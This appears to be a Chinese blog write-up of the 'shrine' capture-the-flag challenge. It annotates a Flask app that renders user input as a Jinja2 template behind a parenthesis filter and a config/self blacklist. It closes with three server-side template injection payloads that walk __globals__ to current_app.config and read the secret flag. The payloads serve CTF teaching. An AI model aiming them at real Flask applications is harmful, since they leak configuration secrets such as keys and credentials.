当前位置:网站首页>攻防世界----shrine
攻防世界----shrine
2022-07-17 00:14:00 【jjj34】
Flask模板注入

访问地址拿到源码整理得
import flask
import os
app = flask.Flask(__name__)
/*创建了flask包下的Flask类的对象,name是一个适用于多数情况的快捷方式。有了这个参数,Flask才知道在哪里可以找到模板和静态文件*/
app.config['FLAG'] = os.environ.pop('FLAG')
//这句话的意思就是说flag在app的config变量里
@app.route('/')
/* @app.route(url) 是Flask框架中的一个装饰器,他的作用是在程序运行时,装饰一个视图函数,用给定的url规则和选项注册他*/
def index():
return open(__file__).read() //相当于返回源码,也就是我们看到源码的页面
@app.route('/shrine/<path:shrine>')
//这个是带参数的写法
def shrine(shrine): // 这里shrine的值就是上面的 <path:shrine>
def safe_jinja(s):
s = s.replace('(', '').replace(')', '') // 先将 ) 替换为 空,再将 ( 替换为 空
blacklist = ['config', 'self']
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s
//匹配黑名单,将匹配到的config和self换成空字符
return flask.render_template_string(safe_jinja(shrine))
// 这句话就是调用了过滤函数对用户输入的网址进行过滤
if __name__ == '__main__':
app.run(debug=True) //如果这个python是主程序,则启动app
1.什么是 @app.route()
Flask入门[email protected]()使用_Philo`的博客-CSDN博客[email protected](/)斜杠代表什么意思
2.关于os.environ.pop()
(1条消息) OS.ENVIRON()详解_junweifan的博客-CSDN博客_os.environ[]
os.environ 是 python获取系统信息的一个方法
3.python中 join的方法
Python join()方法 | 菜鸟教程 (runoob.com)
题解:从整理好的代码中,我们得出 flag在config变量中,但config,self,(), 都被过滤了.
假设没有过滤,可以尝试直接访问 config变量或者 { {self.dict}}来获取变量
如果有过滤,就需要尝试通过全局变量实现沙盒逃逸
{
{url_for.__globals__['current_app'].config.FLAG}}
{
{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{
{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}边栏推荐
猜你喜欢

【Unity面板属性扫盲】导入纹理后设置Texture Import Settings

【HDRP高清渲染管道】创建HDRP工程,把内置管线工程升级为HDRP工程

Gdb+vscode for debugging 1 -- compile and debug using cmakelist files + attach process debugging

ENVI_IDL:读取OMI数据(HDF5)并输出为Geotiff文件+详细解析

Labelme正常启动,但无法打开

工程编译那点事:Makefile和cmake(一)

Gdb+vscode for debugging 0 - environment configuration

池式组件之内存池篇

【Unity编辑器扩展】Unity资产预处理和后处理图片自动转Sprite2D

Double Q-Learning理论基础及其代码实现【Pendulum-v0】
随机推荐
【Unity编辑器扩展】Unity资产预处理和后处理图片自动转Sprite2D
Oozie integrated sqoop
ENVI_IDL: 读取文本文件并输出为Geotiff格式+简单均值插值
ENVI_IDL:批量重投影Modis Swath产品并指定范围输出为Geotiff格式+解析
gdb+vscode进行调试4——gdb执行相关命令
ENVI_ Idl: reading of text files (mainly txt and CSV files)
Build Ozzie environment
动态规划问题 - 小兵向前冲
博客里《DSAA》相关文章的代码
gdb+vscode进行调试7——程序出现segmentation default/段错误,如何进行调试?
搭建Ozzie环境
[unity panel attribute literacy] set texture import settings after importing textures
[unity Editor Extension] unity publishes resources to the store process unity asset store publish
ENVI_ Idl: read the text file and output it in GeoTIFF format + simple mean interpolation
Nacos configuration management
【工具篇】Unity2D人物控制器,控制2D玩家移动跳跃,四方向和水平方向
【动态规划百题强化计划】1~10(持续更新中)
ENVI_IDL:批量处理Modis Swath数据的重投影并输出为Geotiff格式+详细解析
Foo bar what the hell?
LeetCode:动态规划中的多重背包问题【一个模板解决所有~】